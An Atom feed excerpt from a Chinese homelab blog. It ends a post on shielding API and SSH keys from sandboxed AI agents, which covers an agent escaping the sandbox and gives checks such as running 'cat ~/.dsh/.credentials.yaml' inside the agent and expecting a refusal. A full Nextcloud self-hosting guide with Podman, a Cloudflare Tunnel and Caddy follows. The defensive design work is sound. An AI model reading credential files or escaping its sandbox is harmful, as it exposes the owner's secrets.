&lt;li&gt;&lt;strong&gt;短时 SSH 证书&lt;&#x2F;strong&gt;（step-ca &#x2F; Vault &#x2F; Teleport 之类的 SSH CA）：给 agent 发分钟级&#x2F;小时级证书。证书在沙箱里，但泄漏窗口极小、可撤销、可绑定主体。这是&quot;让 agent 能 SSH&quot;最稳的做法。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;宿主侧受控执行器&lt;&#x2F;strong&gt;：私钥和 agent 留在宿主机，把&quot;固定几条 ssh 命令&quot;包成一个受控服务&#x2F;脚本，通过 policy 放行的端口给沙箱调用。agent 只有&quot;请求执行&quot;的能力，没有 key。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;专用受限 key 放沙箱&lt;&#x2F;strong&gt;：用远端 &lt;code&gt;authorized_keys&lt;&#x2F;code&gt; 的 &lt;code&gt;command=&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;from=&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;no-pty&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;no-port-forwarding&lt;&#x2F;code&gt; 约束死。实现最简单，但等于放弃&quot;agent 看不到 key&quot;，只适合低价值目标。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;不让沙箱做 SSH&lt;&#x2F;strong&gt;：这类操作留在宿主或 CI，agent 只要结果。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;si-dsh-deepseek-harness-de-mo-ren-ge-chi&quot;&gt;四、DSH（DeepSeek Harness）的默认隔离&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;这一节主要整理自公开资料，&lt;strong&gt;未在本机逐项实测&lt;&#x2F;strong&gt;；本机的 DSH 部署形态见&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;08&#x2F;caddy-reverse-proxy-dsh-web-lan&#x2F;&quot;&gt;caddy 反代 DSH Web&lt;&#x2F;a&gt;。配置前建议以实际版本的文档&#x2F;行为为准。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;内核级沙箱&lt;&#x2F;strong&gt;：Linux 用 bwrap（namespace 拼文件系统视图）+ Landlock（内核强制访问控制）；macOS 用 Seatbelt；Windows 用 ACL 受限令牌；隔离不可用时 fail-closed（宁可拒绝执行，不悄悄降级）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;默认 workspace-write&lt;&#x2F;strong&gt;：agent（含 shell 工具）在沙箱内运行，只能在工作区目录内写；工作区之外按只读视图挂载，读得到代码&#x2F;调试工具，改不了系统文件。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;凭据只写不回读&lt;&#x2F;strong&gt;：Web UI 里填的 API key 写入 &lt;code&gt;$DSH_HOME&#x2F;.credentials.yaml&lt;&#x2F;code&gt;，前端只显示脱敏描述符。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;默认只监听回环&lt;&#x2F;strong&gt;：&lt;code&gt;127.0.0.1&lt;&#x2F;code&gt;，CLI 默认拒绝 &lt;code&gt;--host 0.0.0.0&lt;&#x2F;code&gt;（我们这台就是 caddy 反代 + basicauth 暴露，配置平面另有 loopback 围栏）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;边界&lt;&#x2F;strong&gt;：&lt;code&gt;.credentials.yaml&lt;&#x2F;code&gt; 是同用户 600 文件，&lt;strong&gt;同一 OS 用户下的其他进程理论上仍可读&lt;&#x2F;strong&gt;（以及 &lt;code&gt;&#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;environ&lt;&#x2F;code&gt;）。如果威胁模型包含&quot;agent 逃逸出沙箱后以同用户身份活动&quot;，需要把 DSH 跑在独立用户或容器里。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;wu-qing-liang-fang-an-dui-bi&quot;&gt;五、轻量方案对比&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方案&lt;&#x2F;th&gt;&lt;th&gt;复杂度&lt;&#x2F;th&gt;&lt;th&gt;agent 拿得到真 key？&lt;&#x2F;th&gt;&lt;th&gt;适合场景&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;环境变量 &#x2F; &lt;code&gt;.env&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;最低&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;能&lt;&#x2F;strong&gt;（同用户进程可读 &lt;code&gt;.env&lt;&#x2F;code&gt;、&lt;code&gt;&#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;environ&lt;&#x2F;code&gt;）&lt;&#x2F;td&gt;&lt;td&gt;只防误提交，不防 agent&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;独立 OS 用户跑 agent&lt;&#x2F;td&gt;&lt;td&gt;低&lt;&#x2F;td&gt;&lt;td&gt;跨用户读不到；同用户逃逸才行&lt;&#x2F;td&gt;&lt;td&gt;单机多用户、轻量加固&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;agent 的 shell 进容器&lt;&#x2F;td&gt;&lt;td&gt;中&lt;&#x2F;td&gt;&lt;td&gt;拿不到（key 留在宿主进程）&lt;&#x2F;td&gt;&lt;td&gt;个人日常，性价比高&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;本地代理网关（LiteLLM 等）&lt;&#x2F;td&gt;&lt;td&gt;中&lt;&#x2F;td&gt;&lt;td&gt;拿不到（agent 只有 fake token，真 key 在网关进程）&lt;&#x2F;td&gt;&lt;td&gt;多 key&#x2F;多模型统一管理&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;OpenShell&lt;&#x2F;td&gt;&lt;td&gt;高&lt;&#x2F;td&gt;&lt;td&gt;拿不到，且带出网&#x2F;文件&#x2F;审计策略&lt;&#x2F;td&gt;&lt;td&gt;需要完整边界与可审计&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;DSH 内置沙箱&lt;&#x2F;td&gt;&lt;td&gt;低（对 DSH 而言）&lt;&#x2F;td&gt;&lt;td&gt;取决于 agent 形态；同用户边界仍在&lt;&#x2F;td&gt;&lt;td&gt;本来就用 DSH&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;一个容易忽略的点：&lt;strong&gt;&quot;独立 OS 用户&quot;防的是跨用户读取，不防同用户逃逸&lt;&#x2F;strong&gt;；&quot;本地代理网关&quot;防的是 key 泄漏，不防 agent 破坏宿主文件。选方案前先写清楚威胁模型。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;liu-zhao-zhao-pei-zhi-de-qing-dan&quot;&gt;六、照着配置的清单&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;OpenShell &#x2F; Hermes（已有环境）&lt;&#x2F;strong&gt;
&lt;ul&gt;
&lt;li&gt;验证占位符：&lt;code&gt;openshell sandbox exec -n hermes -- sh -c &#x27;env | grep XIAOMI&#x27;&lt;&#x2F;code&gt;，应该只看到 &lt;code&gt;openshell:resolve:env:...&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;纪律：agent 不允许 &lt;code&gt;env | grep&lt;&#x2F;code&gt;、&lt;code&gt;cat .env&lt;&#x2F;code&gt;（占位符进上下文会让会话永久失败，§2.4）。&lt;&#x2F;li&gt;
&lt;li&gt;cron 任务注意 provider 快照：全局换 provider 后，任务默认仍钉在创建时的快照上，需要 &lt;code&gt;cron.model_provider&lt;&#x2F;code&gt; 或 &lt;code&gt;hermes cron edit --provider&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;宿主 DSH&lt;&#x2F;strong&gt;
&lt;ul&gt;
&lt;li&gt;确认默认沙箱生效（workspace-write）；&lt;code&gt;.credentials.yaml&lt;&#x2F;code&gt; 权限 600；威胁模型包含同用户逃逸就换独立用户&#x2F;容器。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;SSH&lt;&#x2F;strong&gt;
&lt;ul&gt;
&lt;li&gt;绝不开 &lt;code&gt;ForwardAgent&lt;&#x2F;code&gt;；优先走 SSH CA 短证书或宿主侧受控执行器；不要照搬&quot;挂 &lt;code&gt;SSH_AUTH_SOCK&lt;&#x2F;code&gt;&quot;的说法（OpenShell 挂不进去）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;验收命令&lt;&#x2F;strong&gt;
&lt;ul&gt;
&lt;li&gt;OpenShell：&lt;code&gt;openshell logs &amp;lt;sandbox&amp;gt; --tail&lt;&#x2F;code&gt; 看 allow&#x2F;deny；&lt;code&gt;env&lt;&#x2F;code&gt; 看占位符。&lt;&#x2F;li&gt;
&lt;li&gt;DSH：&lt;code&gt;ls -l $DSH_HOME&#x2F;.credentials.yaml&lt;&#x2F;code&gt;；在 agent 里尝试 &lt;code&gt;cat ~&#x2F;.dsh&#x2F;.credentials.yaml&lt;&#x2F;code&gt; 应被沙箱拒绝。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;API key 防泄漏的关键不是&quot;藏起来&quot;，而是&lt;strong&gt;让真值不进入 agent 进程&lt;&#x2F;strong&gt;：要么代理网关侧替换（OpenShell、LiteLLM），要么把 agent 关进内核沙箱（DSH、bwrap+Landlock）。&lt;&#x2F;li&gt;
&lt;li&gt;OpenShell 的能力是&quot;凭证注入 + 策略 + 审计&quot;三合一，实测有效，但要接受它的复杂度，并注意占位符不能进入对话体这个坑。&lt;&#x2F;li&gt;
&lt;li&gt;SSH key 是密码学层面的问题，防的是签名能力滥用而非传输截获；想在沙箱里&quot;用 SSH 但看不到私钥&quot;，OpenShell 目前没有现成方案，优先考虑 SSH CA 短证书或宿主侧受控执行器。&lt;&#x2F;li&gt;
&lt;li&gt;二手资料里&quot;OpenShell 挂宿主工作目录 &#x2F; 命令在宿主执行&quot;之类的说法来自别家产品（OpenClaw），照着配会踩空——以实测和官方 policy schema 为准。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Nextcloud 自托管：rootless Podman + Cloudflare Tunnel + 宿主机 Caddy</title>
        <published>2026-09-13T14:10:00+08:00</published>
        <updated>2026-09-13T14:10:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/09/nextcloud-podman-cloudflare-tunnel/"/>
        <id>https://vercel.juzhong.asia/2026/09/nextcloud-podman-cloudflare-tunnel/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/09/nextcloud-podman-cloudflare-tunnel/">&lt;h1 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h1&gt;
&lt;p&gt;需求很简单：要一个自己掌控的网盘，能在浏览器里直接编辑 Markdown（我的笔记都是 .md），顺带支持 WebDAV 和手机端同步。目标是家里那台 192.168.2.160（下面叫 160，Debian 13 的 VM），要求：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;不暴露任何公网入站端口（家里没有固定公网 IP 的玩法），用 Cloudflare Tunnel 出站连出去；&lt;&#x2F;li&gt;
&lt;li&gt;机器上不提供明文 HTTP 服务；&lt;&#x2F;li&gt;
&lt;li&gt;尽量别动系统全局设置（比如为了绑 443 去改 &lt;code&gt;ip_unprivileged_port_start&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;最后跑起来的链路是这样：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;公网用户 ──https──&amp;gt; Cloudflare 边缘（TLS 终结，无 A 记录直连）
                      │ cloudflared 出站长连接
                      ▼
              160 上 cloudflared
                ├─ ACME challenge ──&amp;gt; http:&amp;#x2F;&amp;#x2F;localhost:80   （caddy，HTTP-01）
                └─ 其余 ────────────&amp;gt; https:&amp;#x2F;&amp;#x2F;localhost:443 （caddy，LE 证书）
                                            │
                                 caddy :443（apt 系统服务）
                                            │ reverse_proxy
                                            ▼
                                 127.0.0.1:8080（rootless podman）
                                            │
                                 nextcloud + mariadb + redis
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;内网访问则靠 split-horizon DNS 把 &lt;code&gt;nextcloud.juzhong.xyz&lt;&#x2F;code&gt; 直接解析到 160，走同一条 caddy 链路，吃同一张真证书。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fen-ceng-xuan-xing&quot;&gt;分层选型&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;wei-shen-me-shi-rootless-podman-quadlet&quot;&gt;为什么是 rootless Podman + quadlet&lt;&#x2F;h2&gt;
&lt;p&gt;160 上本来就跑着 rootless podman。用 quadlet（&lt;code&gt;~&#x2F;.config&#x2F;containers&#x2F;systemd&#x2F;*.container&lt;&#x2F;code&gt;）把三个容器写成 systemd 用户服务，好处是不用维护 compose，&lt;code&gt;systemctl --user&lt;&#x2F;code&gt; 直接管，开机自启只依赖 linger。&lt;&#x2F;p&gt;
&lt;p&gt;关键点：容器&lt;strong&gt;只发布到回环&lt;&#x2F;strong&gt; &lt;code&gt;127.0.0.1:8080:80&lt;&#x2F;code&gt;。rootless podman 绑不了 1024 以下端口，而我又不想改 &lt;code&gt;net.ipv4.ip_unprivileged_port_start&lt;&#x2F;code&gt;（那等于把所有特权端口开放给本机所有非特权进程，为一个网盘不值得）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wei-shen-me-443-gei-su-zhu-ji-caddy&quot;&gt;为什么 443 给宿主机 Caddy&lt;&#x2F;h2&gt;
&lt;p&gt;既然 rootless 绑不了 443，就让宿主机装一个 caddy（Debian apt 包，root 系统服务）来监听 80&#x2F;443，反代到回环的 8080。Caddy 自动申请 Let&#x27;s Encrypt 证书、自动 HTTP→HTTPS 跳转，80 端口只用来应答 ACME challenge 和 301，不提供任何明文内容。&lt;&#x2F;p&gt;
&lt;p&gt;试过在 podman 里跑 caddy + DNS-01（自建带 cloudflare 插件的镜像），但复杂度明显更高：要维护自定义镜像、把 CA 从容器里导出来信任。换成宿主机 apt caddy 后，一个 Caddyfile 就结束了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wei-shen-me-zheng-shu-zhi-neng-zou-http-01&quot;&gt;为什么证书只能走 HTTP-01&lt;&#x2F;h2&gt;
&lt;p&gt;Cloudflare 代理会在边缘终结 TLS，回源由 cloudflared 发起。这意味着源站根本收不到 TLS-ALPN-01 的握手，所以 caddy 里必须：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;caddyfile&quot; class=&quot;language-caddyfile &quot;&gt;&lt;code class=&quot;language-caddyfile&quot; data-lang=&quot;caddyfile&quot;&gt;tls {
    issuer acme {
        disable_tlsalpn_challenge
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后在隧道里把 challenge 路径单独路由到本机 80：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;ingress:
  - hostname: nextcloud.juzhong.xyz
    path: ^&amp;#x2F;\.well-known&amp;#x2F;acme-challenge&amp;#x2F;
    service: http:&amp;#x2F;&amp;#x2F;localhost:80
  - hostname: nextcloud.juzhong.xyz
    service: https:&amp;#x2F;&amp;#x2F;localhost:443
    originRequest:
      originServerName: nextcloud.juzhong.xyz
  - service: http_status:404
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;签发和续期都靠这条路径回源，实测 LE 证书正常下发。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;bu-shu-guo-cheng&quot;&gt;部署过程&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-rong-qi-yu-chu-shi-hua&quot;&gt;1. 容器与初始化&lt;&#x2F;h2&gt;
&lt;p&gt;三个 quadlet：&lt;code&gt;nextcloud-app&lt;&#x2F;code&gt;（nextcloud:apache）、&lt;code&gt;nextcloud-db&lt;&#x2F;code&gt;（mariadb:11）、&lt;code&gt;nextcloud-redis&lt;&#x2F;code&gt;（redis:7-alpine），加一个 &lt;code&gt;nextcloud.network&lt;&#x2F;code&gt;。数据全部落在 &lt;code&gt;~&#x2F;nextcloud&#x2F;{html,data,db,redis}&lt;&#x2F;code&gt;，密钥放 &lt;code&gt;~&#x2F;nextcloud&#x2F;.env&lt;&#x2F;code&gt;（600）。&lt;&#x2F;p&gt;
&lt;p&gt;两个小坑：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;app 容器 &lt;code&gt;TimeoutStartSec&lt;&#x2F;code&gt; 要给足（我给了 900s），首次初始化要建库、装应用，比较慢；&lt;&#x2F;li&gt;
&lt;li&gt;初始化完成后用 &lt;code&gt;occ&lt;&#x2F;code&gt; 补配置：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;podman exec -u www-data nextcloud-app php occ config:system:set \
  trusted_proxies 2 --value=10.89.0.0&amp;#x2F;24
podman exec -u www-data nextcloud-app php occ config:system:set \
  overwriteprotocol --value=https
podman exec -u www-data nextcloud-app php occ config:system:set \
  overwrite.cli.url --value=https:&amp;#x2F;&amp;#x2F;nextcloud.juzhong.xyz
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;trusted_proxies&lt;&#x2F;code&gt; 里的 &lt;code&gt;10.89.0.0&#x2F;24&lt;&#x2F;code&gt; 是 rootless podman 网络里 caddy 连接所见的网关地址——不填它，Nextcloud 不认 &lt;code&gt;X-Forwarded-For&lt;&#x2F;code&gt;，后面会看到真实的客户端 IP 全部丢失。&lt;&#x2F;p&gt;
&lt;p&gt;背景任务用 systemd timer 每 5 分钟跑一次 &lt;code&gt;cron.php&lt;&#x2F;code&gt;，并把 &lt;code&gt;backgroundjobs_mode&lt;&#x2F;code&gt; 设为 &lt;code&gt;cron&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-sui-dao&quot;&gt;2. 隧道&lt;&#x2F;h2&gt;
&lt;p&gt;cloudflared 的隧道创建需要&lt;strong&gt;账号级凭据&lt;&#x2F;strong&gt; &lt;code&gt;~&#x2F;.cloudflared&#x2F;cert.pem&lt;&#x2F;code&gt;（一次浏览器授权生成）。我之前在 VPS 上已经登录过同一个 Cloudflare 账号，所以直接把 &lt;code&gt;cert.pem&lt;&#x2F;code&gt; 复制到 160 即可，不用重新授权：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cloudflared tunnel create nextcloud
cloudflared tunnel route dns nextcloud nextcloud.juzhong.xyz
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;建完会得到隧道凭据 &lt;code&gt;&amp;lt;UUID&amp;gt;.json&lt;&#x2F;code&gt;。&lt;strong&gt;运行隧道只需要这个 JSON&lt;&#x2F;strong&gt;，&lt;code&gt;cert.pem&lt;&#x2F;code&gt; 是账号级的（能管理账号下所有隧道和 DNS），所以 bootstrap 完就 &lt;code&gt;shred -u&lt;&#x2F;code&gt; 删掉了，需要管理隧道时再从 VPS 临时取回。&lt;&#x2F;p&gt;
&lt;p&gt;cloudflared 以 systemd 用户服务常驻，&lt;code&gt;config.yml&lt;&#x2F;code&gt; 里就是上面那段 ingress。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-caddy&quot;&gt;3. Caddy&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install caddy
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Caddyfile（简化版）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;caddyfile&quot; class=&quot;language-caddyfile &quot;&gt;&lt;code class=&quot;language-caddyfile&quot; data-lang=&quot;caddyfile&quot;&gt;nextcloud.juzhong.xyz {
    tls {
        issuer acme {
            disable_tlsalpn_challenge
        }
    }
    encode gzip
    reverse_proxy 127.0.0.1:8080 {
        trusted_proxies 127.0.0.1 ::1
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最后那行 &lt;code&gt;trusted_proxies&lt;&#x2F;code&gt; 是踩坑之后补的，见下一节。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;cai-keng&quot;&gt;踩坑&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;keng-1-markdown-bian-ji-qi-ying-yong-zhuang-bu-shang&quot;&gt;坑 1：Markdown 编辑器应用装不上&lt;&#x2F;h2&gt;
&lt;p&gt;Nextcloud 应用商店里有个 Markdown Editor（&lt;code&gt;files_markdown&lt;&#x2F;code&gt;），但它的 &lt;code&gt;max-version&lt;&#x2F;code&gt; 还没跟上 Nextcloud 34，装了也用不了。好在 NC34 内置的 &lt;code&gt;text&lt;&#x2F;code&gt; 应用（8.0.0）本身就支持直接编辑 text&#x2F;markdown 和 text&#x2F;plain，点开 .md 就是所见即所得编辑器，自动保存。笔记场景再装个 &lt;code&gt;notes&lt;&#x2F;code&gt;（6.0.2）就够了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;keng-2-zhen-shi-ke-hu-duan-ip-quan-bu-bian-cheng-wang-guan-di-zhi&quot;&gt;坑 2：真实客户端 IP 全部变成网关地址&lt;&#x2F;h2&gt;
&lt;p&gt;部署完看日志，发现所有失败登录都记成同一个 IP &lt;code&gt;10.89.0.14&lt;&#x2F;code&gt;（podman 网关）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Login failed: &amp;#x27;wrong&amp;#x27; (Remote IP: &amp;#x27;10.89.0.14&amp;#x27;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个问题的严重性不只是日志难看：Nextcloud 的防爆破是按 IP 累计的，所有公网用户挤在同一个 IP 上，等于一个人爆破就会连累所有人被锁。&lt;&#x2F;p&gt;
&lt;p&gt;排查过程有点绕：先看 Apache access log，客户端地址是 podman 网关（正常，caddy 从回环连进来）；Nextcloud 的 &lt;code&gt;getRemoteAddress()&lt;&#x2F;code&gt; 逻辑是「如果 REMOTE_ADDR 在 trusted_proxies 里，就解析 &lt;code&gt;X-Forwarded-For&lt;&#x2F;code&gt;，跳过可信代理，取第一个不可信的 IP」。所以问题出在 XFF 本身。&lt;&#x2F;p&gt;
&lt;p&gt;翻了 caddy 2.6.2 的源码（&lt;code&gt;reverseproxy.go&lt;&#x2F;code&gt; 的 &lt;code&gt;addForwardedHeaders&lt;&#x2F;code&gt;）才明白：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;&amp;#x2F;&amp;#x2F; 如果直接客户端不在 trustedProxies 里，trusted=false，
&amp;#x2F;&amp;#x2F; 那么 clientXFF = clientIP，直接覆写 XFF
clientXFF := clientIP
prior, ok, omit := allHeaderValues(req.Header, &amp;quot;X-Forwarded-For&amp;quot;)
if trusted &amp;amp;&amp;amp; ok &amp;amp;&amp;amp; prior != &amp;quot;&amp;quot; {
    clientXFF = prior + &amp;quot;, &amp;quot; + clientXFF
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;cloudflared 从 127.0.0.1 连进来，带来了 Cloudflare 边缘设置的真实客户端 IP 的 XFF；但 caddy 默认不信任它，把 XFF 覆写成了 &lt;code&gt;127.0.0.1&lt;&#x2F;code&gt;。Nextcloud 一看 &lt;code&gt;127.0.0.1&lt;&#x2F;code&gt; 也是可信代理，跳过，最后回退到 REMOTE_ADDR——也就是 podman 网关。&lt;&#x2F;p&gt;
&lt;p&gt;修复就是在 &lt;code&gt;reverse_proxy&lt;&#x2F;code&gt; 里声明信任回环：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;caddyfile&quot; class=&quot;language-caddyfile &quot;&gt;&lt;code class=&quot;language-caddyfile&quot; data-lang=&quot;caddyfile&quot;&gt;reverse_proxy 127.0.0.1:8080 {
    trusted_proxies 127.0.0.1 ::1
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意 Debian 打包的 caddy 2.6.2 还没有全局 &lt;code&gt;trusted_proxies&lt;&#x2F;code&gt; 选项（2.7+ 才有），只能写在 &lt;code&gt;reverse_proxy&lt;&#x2F;code&gt; 子指令里。&lt;&#x2F;p&gt;
&lt;p&gt;修完验证：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;公网失败登录 -&amp;gt; Remote IP: 222.129.x.x（真实公网 IP）
内网直连失败登录 -&amp;gt; Remote IP: 192.168.2.160（真实来源）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;keng-3-su-zhu-oom-ba-vm-li-de-wen-jian-xie-cheng-liao-nul&quot;&gt;坑 3：宿主 OOM 把 VM 里的文件写成了 NUL&lt;&#x2F;h2&gt;
&lt;p&gt;160 的宿主是台 15G 内存、没有 swap 的小主机，给 VM 分了 12G。某次宿主 OOM killer 杀了 qemu，VM 恢复后发现两个文件变成了全 NUL 字节：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;~&#x2F;.cloudflared&#x2F;config.yml&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;~&#x2F;.config&#x2F;systemd&#x2F;user&#x2F;cloudflared.service&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;数据目录倒是无损（可能刚写完盘）。从模板重新渲染这两个文件就恢复了。教训：宿主加 swap，或者给 VM 降内存。这种「文件还在、内容全没了」的故障模式挺隐蔽的，&lt;code&gt;file&lt;&#x2F;code&gt; 或 &lt;code&gt;wc -c&lt;&#x2F;code&gt; 一看大小对但内容是 &lt;code&gt;\0&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yan-zheng&quot;&gt;验证&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https:&#x2F;&#x2F;nextcloud.juzhong.xyz&#x2F;status.php&lt;&#x2F;code&gt; 公网 200；&lt;&#x2F;li&gt;
&lt;li&gt;内网 &lt;code&gt;--resolve&lt;&#x2F;code&gt; 直连 160:443，TLS 校验 &lt;code&gt;ssl_verify_result=0&lt;&#x2F;code&gt;（真证书）；&lt;&#x2F;li&gt;
&lt;li&gt;WebDAV PUT&#x2F;GET&#x2F;DELETE 往返正常；&lt;&#x2F;li&gt;
&lt;li&gt;浏览器打开 .md → Text 编辑器 → 编辑 → 自动保存，WebDAV 拉回来内容一致；&lt;&#x2F;li&gt;
&lt;li&gt;公网失败登录日志记录真实客户端 IP。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;配置和安装脚本整理在仓库 &lt;code&gt;homelab&#x2F;nextcloud&#x2F;&lt;&#x2F;code&gt;（install.sh 幂等，模板含 quadlet、cloudflared ingress、Caddyfile）。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;xiao-jie&quot;&gt;小结&lt;&#x2F;h1&gt;
&lt;p&gt;整套方案的层次其实很清晰：&lt;strong&gt;Cloudflare 负责公网入口和 TLS 终结，caddy 负责源站证书与反代，podman 负责应用隔离，隧道负责穿透&lt;&#x2F;strong&gt;。踩的坑里，最值得记的是 caddy 的 XFF 覆写——它不会报错，只会让所有用户悄悄共享同一个 IP；如果不是专门去核对登录日志，很可能一直发现不了。另一个是 &lt;code&gt;cert.pem&lt;&#x2F;code&gt; 和隧道凭据的区别：前者是账号级的，用完就该删。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>systemctl restart gdm3 卡住排查：gpu-manager 阻塞在 QXL 的 drm_master_open</title>
        <published>2026-09-12T23:15:55+08:00</published>
        <updated>2026-09-12T23:15:55+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/09/gdm3-restart-hang-gpu-manager/"/>
        <id>https://vercel.juzhong.asia/2026/09/gdm3-restart-hang-gpu-manager/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/09/gdm3-restart-hang-gpu-manager/">&lt;h1 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h1&gt;
